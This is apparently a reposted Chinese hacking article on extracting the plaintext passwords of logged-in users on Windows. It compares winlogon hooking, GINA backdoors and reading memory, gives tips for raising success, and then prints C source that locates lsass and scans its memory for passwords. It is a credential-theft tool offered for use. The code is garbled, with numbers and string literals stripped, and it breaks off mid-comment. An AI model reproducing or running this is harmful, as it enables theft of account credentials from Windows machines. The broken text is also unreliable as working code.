在所有NT系统中都是有几种方法可以得到登陆用户的密码的我知道的三种方法可以达到目的 hook了winlogon中几个函数网上也有这类型的程序叫winlogonhijack的项目在中有提供不过那个项目只对本地登陆用户有效远程登陆用户无效 使用Gina和winlogon进行套接只要对某些函数执行自己的记录密码的代码就可以将密码记录下来稳定性高而且对本地或远程登陆都有效不过现存的gina后门程序在XP或中都有些函数没有被导出过主要因为xp和等在winlogon中加入了新的函数 直接读取内存数据得到明文密码在NT /K中早就有程序findpass可以直接读到winlogon进程中的内存数据而直接得到登陆用户密码因为在NT和K中帐号的信息包括域名帐号和密码都是有规律地在winlogon内存中的特定地址中所以可以很简单就得到但在XP和系统中这样方法是无效的了似乎我们是没有办法直接读出明文地址了下面我们就来谈谈如何象findpass在NT 和K在在server 中得到登陆用户的密码 虽然XP和是不象以前的NT系统那样将登陆用户信息保存在winlogon进程的内存地址内但是基Lsass进程对于要处理些信息时需要得到明文的登陆用户密码所以登陆用户的密码会在Lsass进程中出现(微软没有将密码在Lsass进程中进行加密微软的说法是因为Lsass需要得到明文的密码就算将密码加密也都只能用可逆的方法加密只要跟蹤lsass的操作一样可以得到明文密码所以微软使用了比较懒惰的方法可能也是为了加快响应速度所以将明文密码更是放在lsass进程内存内)说到这里大家心里都清楚了登陆用户的密码是在lsass进程的内存中对就是这么一回事但是要得到这个明文密码真是象使用NT 和K下的findpass那样容易吗?事实上并不是那么容易因为以下几个原因: A密码存放在lsass进程中的内存地址是没有规律的 B密码有可能被最后登陆的用户复盖(例如管理员abc从本地登陆然后管理员bbb从远程登陆然后管理员bbb注销终端存放在lsassexe进程内存中的密码还是管理员bbb的密码)又或者用户登陆后然后注销了那么我们就算得到了密码也不知道是哪个用户的密码 C密码前后的数据也是没有规律的如果有规律例如密码前的数据一定是有一段全是字符的数据段那么定位密码就简单 原因A和C都给我们带来定位密码的困难原B就带来不能确定密码和帐号对应的问题看来微软在新的系统还是做过点功夫不过我们是不会放弃的就算是碰碰运气也看能不能得到密码反正就算失败也没什么关系 最后的代码是我写来测试是不是能在的系统中得到登际用户的密码结果也正好象我们上面的分析一样(当然了上面的结果是用这程序测测得到的)成功率当然不高因为受太多原因所影响定位密码上的困难或者无法定位或者得到不是密码的信息等等的原因都令失败率显得相当高不过总还是一种方法或者将来有人可以准确定位到那就是令人高兴了虽然说失败率高但在一种情况下成功率却是很高的那就是管理员只是在本地或终端中登陆了以后再没有用户从本地或终端登陆过而且管理员也没有锁上过系统那么成功率就会是相当高的了 提高成功率的两种做法: 程序直接写成服务定时检查本地或远程登陆(其实没什么分别)当检测到登陆后去搜索lsass进程内存尝试得到密码 程序模拟一个登陆(使用LogonUser()就能搞定)因为使用LogonUser()这个API你要提供帐号名和对应的正确的密码才可以成功然后你就可以去搜索lsass进程内存因为知道密码是什么我们就能定位到密码是保存在什么地方因为登陆用户的密码都是保存在同一个地址或相离不远的地址中模拟登陆和搜索可以先定位以后登陆的用户的密码会大约保存在什么位置 无论怎说三种方法中最稳定最安全的方法还是使用Gina那种方法Hijack了winlogn一些API的方法毕竟是改动了系统的东西对系统的稳定性来说会有考验直接搜索lsass进程内存的方法呢虽说也是困难但准确性成功率却又是低 下面的代码使用的是很笨而且很原始的搜索方法主要是搜索Lsass内存中LocalSystem Remote Procedure这个字符串因为在相当多的测试中密码都是保存在有这个字符串的地址后一点的位置中当然了很多系统并没有这个字符串或者就算有我们得到的都是错误的密码 代码: //******************************************************************************** // Version: V // Coder: WinEggDrop // Date Release: // // Purpose: To Demonstrate Searching Logon User Password On BoxThe Method // Used Is Pretty UnwiseBut This May Be The Only Way To Review The // Logon Users Password On Windows // Test PlatForm: Windows // Compiled On: VC++ //******************************************************************************** #include #include #include #define BaseAddress xb // The Base Memory Address To Search;The Password May Be Located Before The Address Or Far More From This AddressWhich Causes The Result Unreliable char Password[MAX_PATH] = ; // Store The Found Password // Function ProtoType Declaration // BOOL FindPassword(DWORD PID); int Search(char *Bufferconst UINT nSize); DWORD GetLsassPID(); BOOL Is(); // // End Of Fucntion ProtoType Declaration int main() { DWORD PID = ; printf(Windows Password Viewer V By WinEggDrop\n\n); if (!Is()) // Check Out If The Box Is { printf(The Program Cant Only Run On Windows Platform\n); return ; } PID = GetLsassPID(); // Get The Lsassexe PID if (PID == ) // Fail To Get PID If Returning Zerom { return ; } FindPassword(PID); // Find The Password From Lsassexe Memory return ; } // End main() // // Purpose: Search The Memory & Try To Get The Password // Return Type: int // Parameters: // In: char *Buffer > The Memory Buffer To Search // Out: const UINT nSize > The Size Of The Memory Buffer // Note: The Program Tries To Locate The Magic String LocalSystem Remote Procedure // Since The Password Is Near The Above LocationBut Its Not Always True That // We Will Find The Magic StringOr Even We Find ItThe Password May Be Located // At Some Other PlaceWe Only Look For Luck // int Search(char *Bufferconst UINT nSize) { UINT OffSet = ; UINT i = ; UINT j = ; UINT Count = ; if (Buffer == NULL) { return ; } for (i = ; i < nSize ; i++) { /* The Below Is To Find The Magic StringWhy So Complicated?That Will Thank MSThe Separation From Word To Word Is Not Separated With A SpaceBut With A Ending CharacterSo Any Search API Like strstr() Will Fail To Locate The Magic StringWe Have To Do It Manually And Slowly */ if (Buffer == L) { OffSet = ; if (strnicmp(&Buffer[i + OffSet]LocalSystemstrlen(LocalSystem)) == ) { OffSet += strlen(LocalSystem) + ; if (strnicmp(&Buffer[i + OffSet]Remotestrlen(Remote)) == ) { OffSet += strlen(Remote) + ; if (strnicmp(&Buffer[i + OffSet]Procedurestrlen(Procedure)) == ) { OffSet += strlen(Procedure) + ; if (strnicmp(&Buffer[i + OffSet]Callstrlen(Call)) == ) { i += OffSet; break; } } } } } } if (i < nSize) { ZeroMemory(Passwordsizeof(Password)); for (; i < nSize ; i++) { if (Buffer == x && Buffer[i + ] == && Buffer[i + ] == && Buffer[i + ] == && Buffer[i + ] == && Buffer[i + ] == && Buffer[i + ] == ) { /* The Below Code Is To Retrieve The PasswordSince The Stri |